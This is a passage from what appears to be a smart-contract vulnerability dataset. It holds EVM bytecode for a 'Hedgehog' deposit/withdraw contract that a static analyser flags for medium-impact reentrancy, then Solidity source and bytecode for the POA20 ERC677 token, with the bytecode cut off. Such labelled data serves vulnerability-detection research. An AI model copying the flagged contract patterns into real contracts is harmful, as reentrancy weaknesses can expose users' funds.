600080fd5b810190808051906020019092919050505090506000610e4e84600354611c3090919063ffffffff16565b90506000610e658283611b9b90919063ffffffff16565b9050610e7a838261160890919063ffffffff16565b9350505050919050565b600080610e93620186a0610d58565b90508091505090565b6000610ea933848461168b565b6001905092915050565b60075481565b60001515600660009054906101000a900460ff16151514610f25576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061214c6028913960400191505060405180910390fd5b80600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600660006101000a81548160ff0219169083151502179055506060600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166306fdde036040518163ffffffff1660e01b815260040160006040518083038186803b158015610feb57600080fd5b505afa158015610fff573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250602081101561102957600080fd5b810190808051604051939291908464010000000082111561104957600080fd5b8382019150602082018581111561105f57600080fd5b825186600182028301116401000000008211171561107c57600080fd5b8083526020830192505050908051906020019080838360005b838110156110b0578082015181840152602081019050611095565b50505050905090810190601f1680156110dd5780820380516001836020036101000a031916815260200191505b5060405250505090506111256040518060400160405280600981526020017f4865646765686f6720000000000000000000000000000000000000000000000081525082611cb3565b6000908051906020019061113a9291906120a6565b506060600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b1580156111a557600080fd5b505afa1580156111b9573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525060208110156111e357600080fd5b810190808051604051939291908464010000000082111561120357600080fd5b8382019150602082018581111561121957600080fd5b825186600182028301116401000000008211171561123657600080fd5b8083526020830192505050908051906020019080838360005b8381101561126a57808201518184015260208101905061124f565b50505050905090810190601f1680156112975780820380516001836020036101000a031916815260200191505b5060405250505090506112df6040518060400160405280600181526020017f680000000000000000000000000000000000000000000000000000000000000081525082611cb3565b600190805190602001906112f49291906120a6565b506005600260006101000a81548160ff021916908360ff160217905550505050565b6005602052816000526040600020602052806000526040600020600091509150505481565b6001600a54146113b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4865646765686f673a204c4f434b45440000000000000000000000000000000081525060200191505060405180910390fd5b6000600a8190555060006113c683610d58565b905060008111611421576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806121a56024913960400191505060405180910390fd5b8181111561147a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f8152602001806121ef602f913960400191505060405180910390fd5b61148261181f565b6114b0600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16333084611d7b565b6114ba3384611f8c565b3373ffffffffffffffffffffffffffffffffffffffff167f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a158285604051808381526020018281526020019250505060405180910390a2506001600a819055505050565b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000828284039150811115611685576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f64732d6d6174682d7375622d756e646572666c6f77000000000000000000000081525060200191505060405180910390fd5b92915050565b6116dd81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160890919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061177281600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3090919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b4260075410801561183257506000600354115b156118a3574260078190555060085460098190555061184f610e84565b6008819055507fb7fefb7d1b22b74b6807108ec49955e84e0a0bdcddeb841574fb1b1094cc66c460075460085460095460405180848152602001838152602001828152602001935050505060405180910390a15b565b6118f781600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160890919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061194f8160035461160890919063ffffffff16565b600381905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600060608473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8585604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001925050506040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310611a985780518252602082019150602081019050602083039250611a75565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611afa576040519150601f19603f3d011682016040523d82523d6000602084013e611aff565b606091505b5091509150818015611b3f5750600081511480611b3e5750808060200190516020811015611b2c57600080fd5b81019080805190602001909291905050505b5b611b94576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d81526020018061221e602d913960400191505060405180910390fd5b5050505050565b600080821480611bb85750828283850292508281611bb557fe5b04145b611c2a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f64732d6d6174682d6d756c2d6f766572666c6f7700000000000000000000000081525060200191505060405180910390fd5b92915050565b6000828284019150811015611cad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f64732d6d6174682d6164642d6f766572666c6f7700000000000000000000000081525060200191505060405180910390fd5b92915050565b606082826040516020018083805190602001908083835b60208310611ced5780518252602082019150602081019050602083039250611cca565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b60208310611d3e5780518252602082019150602081019050602083039250611d1b565b6001836020036101000a03801982511681845116808217855250505050505090500192505050604051602081830303815290604052905092915050565b600060608573ffffffffffffffffffffffffffffffffffffffff166323b872dd868686604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200193505050506040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310611e885780518252602082019150602081019050602083039250611e65565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611eea576040519150601f19603f3d011682016040523d82523d6000602084013e611eef565b606091505b5091509150818015611f2f5750600081511480611f2e5750808060200190516020811015611f1c57600080fd5b81019080805190602001909291905050505b5b611f84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001806121746031913960400191505060405180910390fd5b505050505050565b611fa181600354611c3090919063ffffffff16565b600381905550611ff981600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3090919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106120e757805160ff1916838001178555612115565b82800160010185558215612115579182015b828111156121145782518255916020019190600101906120f9565b5b5090506121229190612126565b5090565b61214891905b8082111561214457600081600090555060010161212c565b5090565b9056fe4865646765686f675f696e697469616c697a653a20616c726561647920696e697469616c697a65645472616e7366657248656c7065723a3a7472616e7366657246726f6d3a207472616e7366657246726f6d206661696c65644865646765686f675f4465706f7369743a207a65726f206173736574206465706f7369744865646765686f675f77697468647261773a207a65726f2061737365742077697468647261774865646765686f675f4465706f7369743a206465706f736974206173736574732061626f76652065787065637465645472616e7366657248656c7065723a3a736166655472616e736665723a207472616e73666572206661696c65644865646765686f675f4465706f7369743a207769746864726177206173736574732062656c6f77206578706563746564a2646970667358221220156db20ce868690d37a25735ae8b98d1d5756c9efb6f33c98617696b0196109164736f6c634300060b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
2,531
0x8b5cf2db3564bb1e556b4f177047fd72934bb231
pragma solidity 0.4.21; // File: contracts/ERC677Receiver.sol contract ERC677Receiver { function onTokenTransfer(address _from, uint _value, bytes _data) external returns(bool); } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/ERC677.sol contract ERC677 is ERC20 { event Transfer(address indexed from, address indexed to, uint value, bytes data); function transferAndCall(address, uint, bytes) public returns (bool); } // File: contracts/IBurnableMintableERC677Token.sol contract IBurnableMintableERC677Token is ERC677 { function mint(address, uint256) public returns (bool); function burn(uint256 _value) public; } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20/BurnableToken.sol /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); } } // File: zeppelin-solidity/contracts/token/ERC20/DetailedERC20.sol contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; function DetailedERC20(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } // File: zeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } // File: zeppelin-solidity/contracts/token/ERC20/PausableToken.sol /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } // File: contracts/POA20.sol contract POA20 is IBurnableMintableERC677Token, DetailedERC20, BurnableToken, MintableToken, PausableToken { function POA20( string _name, string _symbol, uint8 _decimals) public DetailedERC20(_name, _symbol, _decimals) {} modifier validRecipient(address _recipient) { require(_recipient != address(0) && _recipient != address(this)); _; } function transferAndCall(address _to, uint _value, bytes _data) public validRecipient(_to) returns (bool) { super.transfer(_to, _value); Transfer(msg.sender, _to, _value, _data); if (isContract(_to)) { contractFallback(_to, _value, _data); } return true; } function contractFallback(address _to, uint _value, bytes _data) private { ERC677Receiver receiver = ERC677Receiver(_to); receiver.onTokenTransfer(msg.sender, _value, _data); } function isContract(address _addr) private returns (bool hasCode) { uint length; assembly { length := extcodesize(_addr) } return length > 0; } }
0x60606040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461012257806306fdde031461014f578063095ea7b3146101dd57806318160ddd1461023757806323b872dd14610260578063313ce567146102d95780633f4ba83a146103085780634000aea01461031d57806340c10f19146103ba57806342966c68146104145780635c975abb14610437578063661884631461046457806370a08231146104be5780637d64bcb41461050b5780638456cb59146105385780638da5cb5b1461054d57806395d89b41146105a2578063a9059cbb14610630578063d73dd6231461068a578063dd62ed3e146106e4578063f2fde38b14610750575b600080fd5b341561012d57600080fd5b610135610789565b604051808215151515815260200191505060405180910390f35b341561015a57600080fd5b61016261079c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a2578082015181840152602081019050610187565b50505050905090810190601f1680156101cf5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101e857600080fd5b61021d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061083a565b604051808215151515815260200191505060405180910390f35b341561024257600080fd5b61024a61086a565b6040518082815260200191505060405180910390f35b341561026b57600080fd5b6102bf600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610874565b604051808215151515815260200191505060405180910390f35b34156102e457600080fd5b6102ec6108a6565b604051808260ff1660ff16815260200191505060405180910390f35b341561031357600080fd5b61031b6108b9565b005b341561032857600080fd5b6103a0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610979565b604051808215151515815260200191505060405180910390f35b34156103c557600080fd5b6103fa600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610af3565b604051808215151515815260200191505060405180910390f35b341561041f57600080fd5b6104356004808035906020019091905050610cdb565b005b341561044257600080fd5b61044a610e30565b604051808215151515815260200191505060405180910390f35b341561046f57600080fd5b6104a4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e43565b604051808215151515815260200191505060405180910390f35b34156104c957600080fd5b6104f5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e73565b6040518082815260200191505060405180910390f35b341561051657600080fd5b61051e610ebc565b604051808215151515815260200191505060405180910390f35b341561054357600080fd5b61054b610f84565b005b341561055857600080fd5b610560611045565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105ad57600080fd5b6105b561106b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105f55780820151818401526020810190506105da565b50505050905090810190601f1680156106225780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561063b57600080fd5b610670600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611109565b604051808215151515815260200191505060405180910390f35b341561069557600080fd5b6106ca600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611139565b604051808215151515815260200191505060405180910390f35b34156106ef57600080fd5b61073a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611169565b6040518082815260200191505060405180910390f35b341561075b57600080fd5b610787600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111f0565b005b600660149054906101000a900460ff1681565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108325780601f1061080757610100808354040283529160200191610832565b820191906000526020600020905b81548152906001019060200180831161081557829003601f168201915b505050505081565b6000600660159054906101000a900460ff1615151561085857600080fd5b6108628383611348565b905092915050565b6000600454905090565b6000600660159054906101000a900460ff1615151561089257600080fd5b61089d84848461143a565b90509392505050565b600260009054906101000a900460ff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561091557600080fd5b600660159054906101000a900460ff16151561093057600080fd5b6000600660156101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600083600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141580156109e557503073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b15156109f057600080fd5b6109fa8585611109565b508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1686866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610a92578082015181840152602081019050610a77565b50505050905090810190601f168015610abf5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3610ad6856117f9565b15610ae757610ae685858561180c565b5b60019150509392505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b5157600080fd5b600660149054906101000a900460ff16151515610b6d57600080fd5b610b828260045461193e90919063ffffffff16565b600481905550610bda82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193e90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d2b57600080fd5b339050610d8082600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195c90919063ffffffff16565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dd88260045461195c90919063ffffffff16565b6004819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b600660159054906101000a900460ff1681565b6000600660159054906101000a900460ff16151515610e6157600080fd5b610e6b8383611975565b905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f1a57600080fd5b600660149054906101000a900460ff16151515610f3657600080fd5b6001600660146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fe057600080fd5b600660159054906101000a900460ff16151515610ffc57600080fd5b6001600660156101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111015780601f106110d657610100808354040283529160200191611101565b820191906000526020600020905b8154815290600101906020018083116110e457829003601f168201915b505050505081565b6000600660159054906101000a900460ff1615151561112757600080fd5b6111318383611c06565b905092915050565b6000600660159054906101000a900460ff1615151561115757600080fd5b6111618383611e2a565b905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561124c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561128857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561147757600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156114c557600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561155057600080fd5b6115a282600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195c90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061163782600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193e90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061170982600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffff